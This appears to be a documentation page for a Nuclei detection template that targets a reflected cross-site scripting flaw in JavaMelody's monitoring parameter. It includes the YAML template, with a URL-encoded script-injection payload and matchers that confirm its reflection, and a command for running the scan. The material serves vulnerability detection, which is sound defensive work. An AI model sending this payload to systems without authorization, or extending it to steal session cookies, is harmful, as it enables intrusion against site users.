JavaMelody - Cross-Site Scripting
ID: java-melody-xss
Severity: high
Author: kailashbohara
Tags: xss,javamelody
Description
Section titled “Description”JavaMelody contains a cross-site scripting vulnerability via the monitoring parameter. An attacker can execute arbitrary script in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
YAML Source
Section titled “YAML Source”id: java-melody-xss
info: name: JavaMelody - Cross-Site Scripting author: kailashbohara severity: high description: JavaMelody contains a cross-site scripting vulnerability via the monitoring parameter. An attacker can execute arbitrary script in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: - https://github.com/Hurdano/JavaMelody-XSS - https://github.com/javamelody/javamelody/pull/555 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N cvss-score: 7.2 cwe-id: CWE-79 metadata: max-request: 1 tags: xss,javamelody
http: - method: GET path: - '{{BaseURL}}/monitoring?part=graph&graph=usedMemory%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and matchers: - type: word words: - '</script><script>alert(document.domain)</script>'
- type: word part: header words: - text/html
- type: status status: - 200# digest: 490a0046304402205252e91764a901d3cc252b69e9a52207bc5eecacdb50f58e4583756456efefe70220599cab38f6445aecebdcef2f72a13019ed6dd24a7e429aec057281aab729fb86:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/java-melody-xss.yaml"